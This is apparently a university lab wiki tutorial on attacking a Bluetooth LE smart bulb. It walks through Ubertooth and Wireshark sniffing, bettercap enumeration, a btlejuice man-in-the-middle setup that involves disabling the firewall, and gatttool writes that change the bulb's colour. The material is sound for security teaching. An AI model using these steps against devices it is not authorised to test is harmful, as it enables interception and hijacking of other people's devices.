Bluetooth LE hacking

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Summary

This page describes the basics steps of how a BLE device can be attacked.

Requirements

  • Operating system: Ubuntu 18.04
  • Elvis lab IoT devices

Description

First install Ubertooth one and all libraries. A full documentation is available on: https://ubertooth.readthedocs.io/en/latest/build_guide.html

NEVER OPERATE YOUR UBERTOOTH WITHOUT ATTACHED ANTENNA!!

Check if Ubertooth one is recognized:

lsusb

Bus 001 Device 003: ID 1d50:6002 OpenMoko, Inc. Ubertooth One

sudo apt-get install -y ubertooth cmake libusb-1.0-0-dev make gcc g++ libbluetooth-dev pkg-config python3-numpy python3-qtpy

Install libbtbb

wget https://github.com/greatscottgadgets/libbtbb/archive/2020-12-R1.tar.gz -O libbtbb-2020-12-R1.tar.gz
tar -xf libbtbb-2020-12-R1.tar.gz
cd libbtbb-2020-12-R1
mkdir build
cd build
cmake ..
make
sudo make install
sudo ldconfig

Install Ubertooth Tools

wget https://github.com/greatscottgadgets/ubertooth/releases/download/2020-12-R1/ubertooth-2020-12-R1.tar.xz
tar -xf ubertooth-2020-12-R1.tar.xz
cd ubertooth-2020-12-R1/host
mkdir build
cd build
cmake ..
make
sudo make install
sudo ldconfig

Ubertooth One Firmware update

cd firmware
sudo apt-get install -y gcc-arm-none-eabi
make clean all
make
cd bluetooth_rxtx
ubertooth-dfu -d bluetooth_rxtx.dfu -r

To show the Firmware use the command

ubertooth-util -v

Firmware version: git-7b656c1 (API:1.07)

Wireshark sniffing

The ubertooth one device is used for sniffing the bluetooth packets and wireshark is displaying the packets.

mkfifo /tmp/pipe
sudo wireshark -k -i /tmp/pipe &
sudo ubertooth-btle -f -c /tmp/pipe

Bettercap sniffing

Installing Bettercap on Ubuntu:

sudo -s
wget https://golang.org/dl/go1.17.3.linux-amd64.tar.gz
rm -rf /usr/local/go && tar -C /usr/local -xzf go1.17.3.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin
export GOPATH=~/go/bin
go version
sudo apt install -y git build-essential \
libpcap-dev libusb-1.0-0-dev libnetfilter-queue-dev
go get -u github.com/bettercap/bettercap
cd ~/go/bin/src/github.com/bettercap/bettercap
make
sudo make install

Now run bettercap and search for Bluetooth devices.

sudo bettercap
ble.recon.on

For more details on a specific device use the enum command. In this case I used the MAC address of the smart bulb.

ble.enum 6a:9b:4b:1b:ac:e6

Bettercap enum.PNG

To find out what characteristics the smartphone sends to the smart bulb to change the light colour, I used a MITM attack.

MITM attack

To find out what GAT messages between a BLE device and a smartphone are being exchanged, I used a MITM attack. For this the tool btlejuice was used.

Create 2 virtual machines with Ubuntu 18.04 and make sure that a bluetooth adapter is available on both machines. Make sure that the machines can reach each other over the network. It is also recommend to turn of the firewall.

sudo apt-get install -y nodejs npm bluetooth bluez libbluetooth-dev libudev-dev
sudo npm install -g btlejuice
sudo service ufw stop
sudo ufw disable

One machine acts as proxy. On this machine enter the command:

sudo btlejuice-proxy

The second machine is the core unit and there you enter:

sudo btlejuice -u <ip proxy> -w

Btlejuice web.PNG

The attack shows that on the characteristics fffc there is a write command whenever I change the colour on the smartphone. It looks like the values represent rgb values.

Gatttool

From Bettercap we can see that characteristic fffc is on the handle 0x0019. This can be used with gatttool to send different commands to the smart bulb and change the colours.

gatttool -b 6A:9B:4B:1B:AC:E6 -I
 connect 
 char-write-cmd 19 ff000000
 char-write-cmd 19 00ff0000

Used Hardware

All hardware is used from the Elvis Lab.


Courses

References